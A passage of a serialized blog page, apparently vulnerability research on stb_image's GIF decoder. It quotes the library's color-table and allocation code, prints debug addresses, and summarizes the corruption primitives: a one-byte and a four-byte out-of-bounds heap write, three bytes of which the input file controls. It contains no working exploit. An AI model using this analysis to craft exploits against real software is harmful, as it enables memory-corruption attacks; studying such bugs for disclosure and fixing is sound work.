write\n",{"type":22,"tag":264,"props":149848,"children":149849},{"class":1534,"line":1668},[149850,149854,149858,149862,149866,149870,149874,149878,149882],{"type":22,"tag":264,"props":149851,"children":149852},{"style":1549},[149853],{"type":27,"value":149809},{"type":22,"tag":264,"props":149855,"children":149856},{"style":1539},[149857],{"type":27,"value":5045},{"type":22,"tag":264,"props":149859,"children":149860},{"style":4344},[149861],{"type":27,"value":602},{"type":22,"tag":264,"props":149863,"children":149864},{"style":1539},[149865],{"type":27,"value":9956},{"type":22,"tag":264,"props":149867,"children":149868},{"style":4309},[149869],{"type":27,"value":429},{"type":22,"tag":264,"props":149871,"children":149872},{"style":1549},[149873],{"type":27,"value":38759},{"type":22,"tag":264,"props":149875,"children":149876},{"style":1539},[149877],{"type":27,"value":5045},{"type":22,"tag":264,"props":149879,"children":149880},{"style":4344},[149881],{"type":27,"value":602},{"type":22,"tag":264,"props":149883,"children":149884},{"style":1539},[149885],{"type":27,"value":32889},{"type":22,"tag":264,"props":149887,"children":149888},{"class":1534,"line":1677},[149889,149893,149897,149901,149905,149909,149913,149917,149921],{"type":22,"tag":264,"props":149890,"children":149891},{"style":1549},[149892],{"type":27,"value":149809},{"type":22,"tag":264,"props":149894,"children":149895},{"style":1539},[149896],{"type":27,"value":5045},{"type":22,"tag":264,"props":149898,"children":149899},{"style":4344},[149900],{"type":27,"value":3568},{"type":22,"tag":264,"props":149902,"children":149903},{"style":1539},[149904],{"type":27,"value":9956},{"type":22,"tag":264,"props":149906,"children":149907},{"style":4309},[149908],{"type":27,"value":429},{"type":22,"tag":264,"props":149910,"children":149911},{"style":1549},[149912],{"type":27,"value":38759},{"type":22,"tag":264,"props":149914,"children":149915},{"style":1539},[149916],{"type":27,"value":5045},{"type":22,"tag":264,"props":149918,"children":149919},{"style":4344},[149920],{"type":27,"value":5334},{"type":22,"tag":264,"props":149922,"children":149923},{"style":1539},[149924],{"type":27,"value":32889},{"type":22,"tag":264,"props":149926,"children":149927},{"class":1534,"line":1686},[149928,149932,149936,149940,149944,149948,149952,149956,149960],{"type":22,"tag":264,"props":149929,"children":149930},{"style":1549},[149931],{"type":27,"value":149809},{"type":22,"tag":264,"props":149933,"children":149934},{"style":1539},[149935],{"type":27,"value":5045},{"type":22,"tag":264,"props":149937,"children":149938},{"style":4344},[149939],{"type":27,"value":18598},{"type":22,"tag":264,"props":149941,"children":149942},{"style":1539},[149943],{"type":27,"value":9956},{"type":22,"tag":264,"props":149945,"children":149946},{"style":4309},[149947],{"type":27,"value":429},{"type":22,"tag":264,"props":149949,"children":149950},{"style":1549},[149951],{"type":27,"value":38759},{"type":22,"tag":264,"props":149953,"children":149954},{"style":1539},[149955],{"type":27,"value":5045},{"type":22,"tag":264,"props":149957,"children":149958},{"style":4344},[149959],{"type":27,"value":18598},{"type":22,"tag":264,"props":149961,"children":149962},{"style":1539},[149963],{"type":27,"value":32889},{"type":22,"tag":264,"props":149965,"children":149966},{"class":1534,"line":4948},[149967],{"type":22,"tag":264,"props":149968,"children":149969},{"style":1539},[149970],{"type":27,"value":36062},{"type":22,"tag":23,"props":149972,"children":149973},{},[149974,149976,149981,149983,149988],{"type":27,"value":149975},"This confirms ",{"type":22,"tag":257,"props":149977,"children":149979},{"className":149978},[],[149980],{"type":27,"value":77843},{"type":27,"value":149982}," is OOB for ",{"type":22,"tag":257,"props":149984,"children":149986},{"className":149985},[],[149987],{"type":27,"value":149466},{"type":27,"value":149989}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":22,"tag":23,"props":149991,"children":149992},{},[149993,149995,150001,150003,150010],{"type":27,"value":149994},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":22,"tag":257,"props":149996,"children":149998},{"className":149997},[],[149999],{"type":27,"value":150000},"g->color_table",{"type":27,"value":150002}," is populated by ",{"type":22,"tag":69,"props":150004,"children":150007},{"href":150005,"rel":150006},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[73],[150008],{"type":27,"value":150009},"stbi__gif_parse_colortable",{"type":27,"value":5785},{"type":22,"tag":618,"props":150012,"children":150014},{"code":150013,"language":4449,"meta":7,"className":17815,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[150015],{"type":22,"tag":257,"props":150016,"children":150017},{"__ignoreMap":7},[150018,150038,150058,150097,150113,150125,150132,150143,150186,150220,150251,150282,150339,150346],{"type":22,"tag":264,"props":150019,"children":150020},{"class":1534,"line":1535},[150021,150025,150029,150034],{"type":22,"tag":264,"props":150022,"children":150023},{"style":4293},[150024],{"type":27,"value":52365},{"type":22,"tag":264,"props":150026,"children":150027},{"style":4293},[150028],{"type":27,"value":52370},{"type":22,"tag":264,"props":150030,"children":150031},{"style":4401},[150032],{"type":27,"value":150033}," stbi__gif_parse_colortable",{"type":22,"tag":264,"props":150035,"children":150036},{"style":1539},[150037],{"type":27,"value":4767},{"type":22,"tag":264,"props":150039,"children":150040},{"class":1534,"line":1545},[150041,150046,150050,150054],{"type":22,"tag":264,"props":150042,"children":150043},{"style":1539},[150044],{"type":27,"value":150045},"    stbi__context ",{"type":22,"tag":264,"props":150047,"children":150048},{"style":4309},[150049],{"type":27,"value":5865},{"type":22,"tag":264,"props":150051,"children":150052},{"style":1549},[150053],{"type":27,"value":11950},{"type":22,"tag":264,"props":150055,"children":150056},{"style":1539},[150057],{"type":27,"value":4812},{"type":22,"tag":264,"props":150059,"children":150060},{"class":1534,"line":1560},[150061,150066,150071,150075,150079,150083,150087,150092],{"type":22,"tag":264,"props":150062,"children":150063},{"style":1539},[150064],{"type":27,"value":150065},"    stbi_uc ",{"type":22,"tag":264,"props":150067,"children":150068},{"style":1549},[150069],{"type":27,"value":150070},"pal",{"type":22,"tag":264,"props":150072,"children":150073},{"style":1539},[150074],{"type":27,"value":5045},{"type":22,"tag":264,"props":150076,"children":150077},{"style":4344},[150078],{"type":27,"value":94617},{"type":22,"tag":264,"props":150080,"children":150081},{"style":1539},[150082],{"type":27,"value":50278},{"type":22,"tag":264,"props":150084,"children":150085},{"style":4344},[150086],{"type":27,"value":18831},{"type":22,"tag":264,"props":150088,"children":150089},{"style":1539},[150090],{"type":27,"value":150091},"],",{"type":22,"tag":264,"props":150093,"children":150094},{"style":4284},[150095],{"type":27,"value":150096},"    // g->color_table\n",{"type":22,"tag":264,"props":150098,"children":150099},{"class":1534,"line":1569},[150100,150104,150109],{"type":22,"tag":264,"props":150101,"children":150102},{"style":4293},[150103],{"type":27,"value":20382},{"type":22,"tag":264,"props":150105,"children":150106},{"style":1549},[150107],{"type":27,"value":150108}," num_entries",{"type":22,"tag":264,"props":150110,"children":150111},{"style":1539},[150112],{"type":27,"value":4812},{"type":22,"tag":264,"props":150114,"children":150115},{"class":1534,"line":1583},[150116,150120],{"type":22,"tag":264,"props":150117,"children":150118},{"style":4293},[150119],{"type":27,"value":20382},{"type":22,"tag":264,"props":150121,"children":150122},{"style":1539},[150123],{"type":27,"value":150124}," transp\n",{"type":22,"tag":264,"props":150126,"children":150127},{"class":1534,"line":1603},[150128],{"type":22,"tag":264,"props":150129,"children":150130},{"style":1539},[150131],{"type":27,"value":16103},{"type":22,"tag":264,"props":150133,"children":150134},{"class":1534,"line":1612},[150135,150139],{"type":22,"tag":264,"props":150136,"children":150137},{"style":4293},[150138],{"type":27,"value":149187},{"type":22,"tag":264,"props":150140,"children":150141},{"style":1539},[150142],{"type":27,"value":59285},{"type":22,"tag":264,"props":150144,"children":150145},{"class":1534,"line":1621},[150146,150151,150156,150160,150164,150168,150172,150177,150181],{"type":22,"tag":264,"props":150147,"children":150148},{"style":4328},[150149],{"type":27,"value":150150},"   for",{"type":22,"tag":264,"props":150152,"children":150153},{"style":1539},[150154],{"type":27,"value":150155}," (i",{"type":22,"tag":264,"props":150157,"children":150158},{"style":4309},[150159],{"type":27,"value":429},{"type":22,"tag":264,"props":150161,"children":150162},{"style":4344},[150163],{"type":27,"value":5334},{"type":22,"tag":264,"props":150165,"children":150166},{"style":1539},[150167],{"type":27,"value":52554},{"type":22,"tag":264,"props":150169,"children":150170},{"style":4309},[150171],{"type":27,"value":7097},{"type":22,"tag":264,"props":150173,"children":150174},{"style":1539},[150175],{"type":27,"value":150176}," num_entries; ",{"type":22,"tag":264,"props":150178,"children":150179},{"style":4309},[150180],{"type":27,"value":52590},{"type":22,"tag":264,"props":150182,"children":150183},{"style":1539},[150184],{"type":27,"value":150185},"i) {\n",{"type":22,"tag":264,"props":150187,"children":150188},{"class":1534,"line":1629},[150189,150194,150198,150202,150206,150210,150215],{"type":22,"tag":264,"props":150190,"children":150191},{"style":1549},[150192],{"type":27,"value":150193},"      pal",{"type":22,"tag":264,"props":150195,"children":150196},{"style":1539},[150197],{"type":27,"value":61976},{"type":22,"tag":264,"props":150199,"children":150200},{"style":4344},[150201],{"type":27,"value":3568},{"type":22,"tag":264,"props":150203,"children":150204},{"style":1539},[150205],{"type":27,"value":9956},{"type":22,"tag":264,"props":150207,"children":150208},{"style":4309},[150209],{"type":27,"value":429},{"type":22,"tag":264,"props":150211,"children":150212},{"style":4401},[150213],{"type":27,"value":150214}," stbi__get8",{"type":22,"tag":264,"props":150216,"children":150217},{"style":1539},[150218],{"type":27,"value":150219},"(s);\n",{"type":22,"tag":264,"props":150221,"children":150222},{"class":1534,"line":1642},[150223,150227,150231,150235,150239,150243,150247],{"type":22,"tag":264,"props":150224,"children":150225},{"style":1549},[150226],{"type":27,"value":150193},{"type":22,"tag":264,"props":150228,"children":150229},{"style":1539},[150230],{"type":27,"value":61976},{"type":22,"tag":264,"props":150232,"children":150233},{"style":4344},[150234],{"type":27,"value":602},{"type":22,"tag":264,"props":150236,"children":150237},{"style":1539},[150238],{"type":27,"value":9956},{"type":22,"tag":264,"props":150240,"children":150241},{"style":4309},[150242],{"type":27,"value":429},{"type":22,"tag":264,"props":150244,"children":150245},{"style":4401},[150246],{"type":27,"value":150214},{"type":22,"tag":264,"props":150248,"children":150249},{"style":1539},[150250],{"type":27,"value":150219},{"type":22,"tag":264,"props":150252,"children":150253},{"class":1534,"line":1660},[150254,150258,150262,150266,150270,150274,150278],{"type":22,"tag":264,"props":150255,"children":150256},{"style":1549},[150257],{"type":27,"value":150193},{"type":22,"tag":264,"props":150259,"children":150260},{"style":1539},[150261],{"type":27,"value":61976},{"type":22,"tag":264,"props":150263,"children":150264},{"style":4344},[150265],{"type":27,"value":5334},{"type":22,"tag":264,"props":150267,"children":150268},{"style":1539},[150269],{"type":27,"value":9956},{"type":22,"tag":264,"props":150271,"children":150272},{"style":4309},[150273],{"type":27,"value":429},{"type":22,"tag":264,"props":150275,"children":150276},{"style":4401},[150277],{"type":27,"value":150214},{"type":22,"tag":264,"props":150279,"children":150280},{"style":1539},[150281],{"type":27,"value":150219},{"type":22,"tag":264,"props":150283,"children":150284},{"class":1534,"line":1668},[150285,150289,150293,150297,150301,150305,150310,150314,150318,150322,150326,150330,150335],{"type":22,"tag":264,"props":150286,"children":150287},{"style":1549},[150288],{"type":27,"value":150193},{"type":22,"tag":264,"props":150290,"children":150291},{"style":1539},[150292],{"type":27,"value":61976},{"type":22,"tag":264,"props":150294,"children":150295},{"style":4344},[150296],{"type":27,"value":18598},{"type":22,"tag":264,"props":150298,"children":150299},{"style":1539},[150300],{"type":27,"value":9956},{"type":22,"tag":264,"props":150302,"children":150303},{"style":4309},[150304],{"type":27,"value":429},{"type":22,"tag":264,"props":150306,"children":150307},{"style":1539},[150308],{"type":27,"value":150309}," transp ",{"type":22,"tag":264,"props":150311,"children":150312},{"style":4309},[150313],{"type":27,"value":9870},{"type":22,"tag":264,"props":150315,"children":150316},{"style":1539},[150317],{"type":27,"value":55865},{"type":22,"tag":264,"props":150319,"children":150320},{"style":4309},[150321],{"type":27,"value":4458},{"type":22,"tag":264,"props":150323,"children":150324},{"style":4344},[150325],{"type":27,"value":4347},{"type":22,"tag":264,"props":150327,"children":150328},{"style":4309},[150329],{"type":27,"value":36430},{"type":22,"tag":264,"props":150331,"children":150332},{"style":4344},[150333],{"type":27,"value":150334}," 255",{"type":22,"tag":264,"props":150336,"children":150337},{"style":1539},[150338],{"type":27,"value":4322},{"type":22,"tag":264,"props":150340,"children":150341},{"class":1534,"line":1677},[150342],{"type":22,"tag":264,"props":150343,"children":150344},{"style":1539},[150345],{"type":27,"value":36062},{"type":22,"tag":264,"props":150347,"children":150348},{"class":1534,"line":1686},[150349],{"type":22,"tag":264,"props":150350,"children":150351},{"style":1539},[150352],{"type":27,"value":1692},{"type":22,"tag":23,"props":150354,"children":150355},{},[150356,150358,150363,150364,150369,150371,150376],{"type":27,"value":150357},"The first three bytes are read from the input image, while the last byte can be either ",{"type":22,"tag":257,"props":150359,"children":150361},{"className":150360},[],[150362],{"type":27,"value":5334},{"type":27,"value":14432},{"type":22,"tag":257,"props":150365,"children":150367},{"className":150366},[],[150368],{"type":27,"value":114659},{"type":27,"value":150370},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":22,"tag":257,"props":150372,"children":150374},{"className":150373},[],[150375],{"type":27,"value":31161},{"type":27,"value":5785},{"type":22,"tag":618,"props":150378,"children":150380},{"code":150379,"language":4449,"meta":7,"className":17815,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150381],{"type":22,"tag":257,"props":150382,"children":150383},{"__ignoreMap":7},[150384,150447,150486,150525,150564,150603,150642],{"type":22,"tag":264,"props":150385,"children":150386},{"class":1534,"line":1535},[150387,150391,150395,150399,150403,150407,150411,150415,150419,150423,150427,150431,150435,150439,150443],{"type":22,"tag":264,"props":150388,"children":150389},{"style":1539},[150390],{"type":27,"value":149701},{"type":22,"tag":264,"props":150392,"children":150393},{"style":4309},[150394],{"type":27,"value":429},{"type":22,"tag":264,"props":150396,"children":150397},{"style":4309},[150398],{"type":27,"value":8434},{"type":22,"tag":264,"props":150400,"children":150401},{"style":1539},[150402],{"type":27,"value":110619},{"type":22,"tag":264,"props":150404,"children":150405},{"style":4309},[150406],{"type":27,"value":15056},{"type":22,"tag":264,"props":150408,"children":150409},{"style":1549},[150410],{"type":27,"value":149722},{"type":22,"tag":264,"props":150412,"children":150413},{"style":1539},[150414],{"type":27,"value":5045},{"type":22,"tag":264,"props":150416,"children":150417},{"style":1549},[150418],{"type":27,"value":110619},{"type":22,"tag":264,"props":150420,"children":150421},{"style":1539},[150422],{"type":27,"value":15056},{"type":22,"tag":264,"props":150424,"children":150425},{"style":1549},[150426],{"type":27,"value":149739},{"type":22,"tag":264,"props":150428,"children":150429},{"style":1539},[150430],{"type":27,"value":149744},{"type":22,"tag":264,"props":150432,"children":150433},{"style":1549},[150434],{"type":27,"value":149749},{"type":22,"tag":264,"props":150436,"children":150437},{"style":4309},[150438],{"type":27,"value":11115},{"type":22,"tag":264,"props":150440,"children":150441},{"style":4344},[150442],{"type":27,"value":13044},{"type":22,"tag":264,"props":150444,"children":150445},{"style":1539},[150446],{"type":27,"value":32889},{"type":22,"tag":264,"props":150448,"children":150449},{"class":1534,"line":1545},[150450,150454,150458,150462,150466,150470,150474,150478,150482],{"type":22,"tag":264,"props":150451,"children":150452},{"style":4328},[150453],{"type":27,"value":53965},{"type":22,"tag":264,"props":150455,"children":150456},{"style":1539},[150457],{"type":27,"value":4370},{"type":22,"tag":264,"props":150459,"children":150460},{"style":1549},[150461],{"type":27,"value":4449},{"type":22,"tag":264,"props":150463,"children":150464},{"style":1539},[150465],{"type":27,"value":5045},{"type":22,"tag":264,"props":150467,"children":150468},{"style":4344},[150469],{"type":27,"value":18598},{"type":22,"tag":264,"props":150471,"children":150472},{"style":1539},[150473],{"type":27,"value":9956},{"type":22,"tag":264,"props":150475,"children":150476},{"style":4309},[150477],{"type":27,"value":11760},{"type":22,"tag":264,"props":150479,"children":150480},{"style":4344},[150481],{"type":27,"value":149797},{"type":22,"tag":264,"props":150483,"children":150484},{"style":1539},[150485],{"type":27,"value":16103},{"type":22,"tag":264,"props":150487,"children":150488},{"class":1534,"line":1560},[150489,150493,150497,150501,150505,150509,150513,150517,150521],{"type":22,"tag":264,"props":150490,"children":150491},{"style":1549},[150492],{"type":27,"value":149809},{"type":22,"tag":264,"props":150494,"children":150495},{"style":1539},[150496],{"type":27,"value":5045},{"type":22,"tag":264,"props":150498,"children":150499},{"style":4344},[150500],{"type":27,"value":5334},{"type":22,"tag":264,"props":150502,"children":150503},{"style":1539},[150504],{"type":27,"value":9956},{"type":22,"tag":264,"props":150506,"children":150507},{"style":4309},[150508],{"type":27,"value":429},{"type":22,"tag":264,"props":150510,"children":150511},{"style":1549},[150512],{"type":27,"value":38759},{"type":22,"tag":264,"props":150514,"children":150515},{"style":1539},[150516],{"type":27,"value":5045},{"type":22,"tag":264,"props":150518,"children":150519},{"style":4344},[150520],{"type":27,"value":3568},{"type":22,"tag":264,"props":150522,"children":150523},{"style":1539},[150524],{"type":27,"value":32889},{"type":22,"tag":264,"props":150526,"children":150527},{"class":1534,"line":1569},[150528,150532,150536,150540,150544,150548,150552,150556,150560],{"type":22,"tag":264,"props":150529,"children":150530},{"style":1549},[150531],{"type":27,"value":149809},{"type":22,"tag":264,"props":150533,"children":150534},{"style":1539},[150535],{"type":27,"value":5045},{"type":22,"tag":264,"props":150537,"children":150538},{"style":4344},[150539],{"type":27,"value":602},{"type":22,"tag":264,"props":150541,"children":150542},{"style":1539},[150543],{"type":27,"value":9956},{"type":22,"tag":264,"props":150545,"children":150546},{"style":4309},[150547],{"type":27,"value":429},{"type":22,"tag":264,"props":150549,"children":150550},{"style":1549},[150551],{"type":27,"value":38759},{"type":22,"tag":264,"props":150553,"children":150554},{"style":1539},[150555],{"type":27,"value":5045},{"type":22,"tag":264,"props":150557,"children":150558},{"style":4344},[150559],{"type":27,"value":602},{"type":22,"tag":264,"props":150561,"children":150562},{"style":1539},[150563],{"type":27,"value":32889},{"type":22,"tag":264,"props":150565,"children":150566},{"class":1534,"line":1583},[150567,150571,150575,150579,150583,150587,150591,150595,150599],{"type":22,"tag":264,"props":150568,"children":150569},{"style":1549},[150570],{"type":27,"value":149809},{"type":22,"tag":264,"props":150572,"children":150573},{"style":1539},[150574],{"type":27,"value":5045},{"type":22,"tag":264,"props":150576,"children":150577},{"style":4344},[150578],{"type":27,"value":3568},{"type":22,"tag":264,"props":150580,"children":150581},{"style":1539},[150582],{"type":27,"value":9956},{"type":22,"tag":264,"props":150584,"children":150585},{"style":4309},[150586],{"type":27,"value":429},{"type":22,"tag":264,"props":150588,"children":150589},{"style":1549},[150590],{"type":27,"value":38759},{"type":22,"tag":264,"props":150592,"children":150593},{"style":1539},[150594],{"type":27,"value":5045},{"type":22,"tag":264,"props":150596,"children":150597},{"style":4344},[150598],{"type":27,"value":5334},{"type":22,"tag":264,"props":150600,"children":150601},{"style":1539},[150602],{"type":27,"value":32889},{"type":22,"tag":264,"props":150604,"children":150605},{"class":1534,"line":1603},[150606,150610,150614,150618,150622,150626,150630,150634,150638],{"type":22,"tag":264,"props":150607,"children":150608},{"style":1549},[150609],{"type":27,"value":149809},{"type":22,"tag":264,"props":150611,"children":150612},{"style":1539},[150613],{"type":27,"value":5045},{"type":22,"tag":264,"props":150615,"children":150616},{"style":4344},[150617],{"type":27,"value":18598},{"type":22,"tag":264,"props":150619,"children":150620},{"style":1539},[150621],{"type":27,"value":9956},{"type":22,"tag":264,"props":150623,"children":150624},{"style":4309},[150625],{"type":27,"value":429},{"type":22,"tag":264,"props":150627,"children":150628},{"style":1549},[150629],{"type":27,"value":38759},{"type":22,"tag":264,"props":150631,"children":150632},{"style":1539},[150633],{"type":27,"value":5045},{"type":22,"tag":264,"props":150635,"children":150636},{"style":4344},[150637],{"type":27,"value":18598},{"type":22,"tag":264,"props":150639,"children":150640},{"style":1539},[150641],{"type":27,"value":32889},{"type":22,"tag":264,"props":150643,"children":150644},{"class":1534,"line":1612},[150645],{"type":22,"tag":264,"props":150646,"children":150647},{"style":1539},[150648],{"type":27,"value":36062},{"type":22,"tag":23,"props":150650,"children":150651},{},[150652,150653,150658,150660,150665,150667,150672],{"type":27,"value":25327},{"type":22,"tag":257,"props":150654,"children":150656},{"className":150655},[],[150657],{"type":27,"value":150009},{"type":27,"value":150659}," has to set the last byte to ",{"type":22,"tag":257,"props":150661,"children":150663},{"className":150662},[],[150664],{"type":27,"value":114659},{"type":27,"value":150666}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":22,"tag":257,"props":150668,"children":150670},{"className":150669},[],[150671],{"type":27,"value":114659},{"type":27,"value":210},{"type":22,"tag":23,"props":150674,"children":150675},{},[150676,150678,150683,150685,150691,150692,150698],{"type":27,"value":150677},"In the code we can see that size of the ",{"type":22,"tag":257,"props":150679,"children":150681},{"className":150680},[],[150682],{"type":27,"value":149466},{"type":27,"value":150684}," allocation is controlled through ",{"type":22,"tag":257,"props":150686,"children":150688},{"className":150687},[],[150689],{"type":27,"value":150690},"g->w",{"type":27,"value":12290},{"type":22,"tag":257,"props":150693,"children":150695},{"className":150694},[],[150696],{"type":27,"value":150697},"g->h",{"type":27,"value":150699}," values, both of which are read from the input file itself:",{"type":22,"tag":618,"props":150701,"children":150703},{"code":150702,"language":4449,"meta":7,"className":17815,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[150704],{"type":22,"tag":257,"props":150705,"children":150706},{"__ignoreMap":7},[150707,150732,150739,150746,150781,150827],{"type":22,"tag":264,"props":150708,"children":150709},{"class":1534,"line":1535},[150710,150714,150719,150723,150727],{"type":22,"tag":264,"props":150711,"children":150712},{"style":4293},[150713],{"type":27,"value":52365},{"type":22,"tag":264,"props":150715,"children":150716},{"style":1539},[150717],{"type":27,"value":150718}," stbi_uc ",{"type":22,"tag":264,"props":150720,"children":150721},{"style":4309},[150722],{"type":27,"value":5865},{"type":22,"tag":264,"props":150724,"children":150725},{"style":4401},[150726],{"type":27,"value":148645},{"type":22,"tag":264,"props":150728,"children":150729},{"style":1539},[150730],{"type":27,"value":150731},"(...)\n",{"type":22,"tag":264,"props":150733,"children":150734},{"class":1534,"line":1545},[150735],{"type":22,"tag":264,"props":150736,"children":150737},{"style":1539},[150738],{"type":27,"value":1542},{"type":22,"tag":264,"props":150740,"children":150741},{"class":1534,"line":1560},[150742],{"type":22,"tag":264,"props":150743,"children":150744},{"style":1539},[150745],{"type":27,"value":149207},{"type":22,"tag":264,"props":150747,"children":150748},{"class":1534,"line":1569},[150749,150753,150757,150761,150765,150769,150773,150777],{"type":22,"tag":264,"props":150750,"children":150751},{"style":4328},[150752],{"type":27,"value":53965},{"type":22,"tag":264,"props":150754,"children":150755},{"style":1539},[150756],{"type":27,"value":4370},{"type":22,"tag":264,"props":150758,"children":150759},{"style":1549},[150760],{"type":27,"value":110619},{"type":22,"tag":264,"props":150762,"children":150763},{"style":1539},[150764],{"type":27,"value":15056},{"type":22,"tag":264,"props":150766,"children":150767},{"style":1549},[150768],{"type":27,"value":120026},{"type":22,"tag":264,"props":150770,"children":150771},{"style":4309},[150772],{"type":27,"value":4585},{"type":22,"tag":264,"props":150774,"children":150775},{"style":4344},[150776],{"type":27,"value":4347},{"type":22,"tag":264,"props":150778,"children":150779},{"style":1539},[150780],{"type":27,"value":16103},{"type":22,"tag":264,"props":150782,"children":150783},{"class":1534,"line":1583},[150784,150788,150792,150796,150801,150806,150810,150815,150819,150823],{"type":22,"tag":264,"props":150785,"children":150786},{"style":4328},[150787],{"type":27,"value":40601},{"type":22,"tag":264,"props":150789,"children":150790},{"style":1539},[150791],{"type":27,"value":4370},{"type":22,"tag":264,"props":150793,"children":150794},{"style":4309},[150795],{"type":27,"value":21928},{"type":22,"tag":264,"props":150797,"children":150798},{"style":4401},[150799],{"type":27,"value":150800},"stbi__gif_header",{"type":22,"tag":264,"props":150802,"children":150803},{"style":1539},[150804],{"type":27,"value":150805},"(s, g, comp,",{"type":22,"tag":264,"props":150807,"children":150808},{"style":4344},[150809],{"type":27,"value":5334},{"type":22,"tag":264,"props":150811,"children":150812},{"style":1539},[150813],{"type":27,"value":150814},"))     ",{"type":22,"tag":264,"props":150816,"children":150817},{"style":4328},[150818],{"type":27,"value":49777},{"type":22,"tag":264,"props":150820,"children":150821},{"style":4344},[150822],{"type":27,"value":4347},{"type":22,"tag":264,"props":150824,"children":150825},{"style":1539},[150826],{"type":27,"value":4322},{"type":22,"tag":264,"props":150828,"children":150829},{"class":1534,"line":1603},[150830,150835,150839,150843,150847,150852,150856,150860,150865,150869,150873,150877,150881,150885,150889,150893,150897,150901,150905],{"type":22,"tag":264,"props":150831,"children":150832},{"style":1549},[150833],{"type":27,"value":150834},"      g",{"type":22,"tag":264,"props":150836,"children":150837},{"style":1539},[150838],{"type":27,"value":15056},{"type":22,"tag":264,"props":150840,"children":150841},{"style":1549},[150842],{"type":27,"value":120026},{"type":22,"tag":264,"props":150844,"children":150845},{"style":4309},[150846],{"type":27,"value":4312},{"type":22,"tag":264,"props":150848,"children":150849},{"style":1539},[150850],{"type":27,"value":150851}," (stbi_uc ",{"type":22,"tag":264,"props":150853,"children":150854},{"style":4309},[150855],{"type":27,"value":5865},{"type":22,"tag":264,"props":150857,"children":150858},{"style":1539},[150859],{"type":27,"value":4390},{"type":22,"tag":264,"props":150861,"children":150862},{"style":4401},[150863],{"type":27,"value":150864},"stbi__malloc",{"type":22,"tag":264,"props":150866,"children":150867},{"style":1539},[150868],{"type":27,"value":2660},{"type":22,"tag":264,"props":150870,"children":150871},{"style":4344},[150872],{"type":27,"value":18831},{"type":22,"tag":264,"props":150874,"children":150875},{"style":4309},[150876],{"type":27,"value":11115},{"type":22,"tag":264,"props":150878,"children":150879},{"style":1549},[150880],{"type":27,"value":149247},{"type":22,"tag":264,"props":150882,"children":150883},{"style":1539},[150884],{"type":27,"value":15056},{"type":22,"tag":264,"props":150886,"children":150887},{"style":1549},[150888],{"type":27,"value":50892},{"type":22,"tag":264,"props":150890,"children":150891},{"style":4309},[150892],{"type":27,"value":11115},{"type":22,"tag":264,"props":150894,"children":150895},{"style":1549},[150896],{"type":27,"value":149247},{"type":22,"tag":264,"props":150898,"children":150899},{"style":1539},[150900],{"type":27,"value":15056},{"type":22,"tag":264,"props":150902,"children":150903},{"style":1549},[150904],{"type":27,"value":85670},{"type":22,"tag":264,"props":150906,"children":150907},{"style":1539},[150908],{"type":27,"value":5142},{"type":22,"tag":23,"props":150910,"children":150911},{},[150912,150914,150919,150921,150926],{"type":27,"value":150913},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":22,"tag":257,"props":150915,"children":150917},{"className":150916},[],[150918],{"type":27,"value":149466},{"type":27,"value":150920}," and the value of ",{"type":22,"tag":257,"props":150922,"children":150924},{"className":150923},[],[150925],{"type":27,"value":23},{"type":27,"value":150927}," just before the OOB write happens:",{"type":22,"tag":618,"props":150929,"children":150931},{"code":150930},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[150932],{"type":22,"tag":257,"props":150933,"children":150934},{"__ignoreMap":7},[150935],{"type":27,"value":150930},{"type":22,"tag":23,"props":150937,"children":150938},{},[150939,150941,150946,150948,150953],{"type":27,"value":150940},"There are multiple within-bound writes to ",{"type":22,"tag":257,"props":150942,"children":150944},{"className":150943},[],[150945],{"type":27,"value":23},{"type":27,"value":150947},", but the last write happens just after the ",{"type":22,"tag":257,"props":150949,"children":150951},{"className":150950},[],[150952],{"type":27,"value":149466},{"type":27,"value":150954}," allocation.",{"type":22,"tag":181,"props":150956,"children":150958},{"id":150957},"summarizing-the-corruption",[150959],{"type":27,"value":150960},"Summarizing the Corruption",{"type":22,"tag":17988,"props":150962,"children":150963},{},[150964,150977,151005],{"type":22,"tag":1871,"props":150965,"children":150966},{},[150967,150969,150975],{"type":27,"value":150968},"A single ",{"type":22,"tag":257,"props":150970,"children":150972},{"className":150971},[],[150973],{"type":27,"value":150974},"0x01",{"type":27,"value":150976}," byte write OOB",{"type":22,"tag":1871,"props":150978,"children":150979},{},[150980,150982],{"type":27,"value":150981},"4-byte OOB write just above the allocated buffer\n",{"type":22,"tag":17988,"props":150983,"children":150984},{},[150985,150990,151000],{"type":22,"tag":1871,"props":150986,"children":150987},{},[150988],{"type":27,"value":150989},"First three bytes are controllable",{"type":22,"tag":1871,"props":150991,"children":150992},{},[150993,150995],{"type":27,"value":150994},"Last byte will be ",{"type":22,"tag":257,"props":150996,"children":150998},{"className":150997},[],[150999],{"type":27,"value":114659},{"type":22,"tag":1871,"props":151001,"children":151002},{},[151003],{"type":27,"value":151004},"Size of the allocation is controlled",{"type":22,"tag":1871,"props":151006,"children":151007},{},[151008,151010],{"type":27,"value":151009},"Both corruptions are done on a short-lived allocation\n",{"type":22,"tag":17988,"props":151011,"children":151012},{},[151013,151018],{"type":22,"tag":1871,"props":151014,"children":151015},{},[151016],{"type":27,"value":151017},"Allocated just before the image-parsing process",{"type":22,"tag":1871,"props":151019,"children":151020},{},[151021],{"type":27,"value":151022},"Freed immediately upon parsing 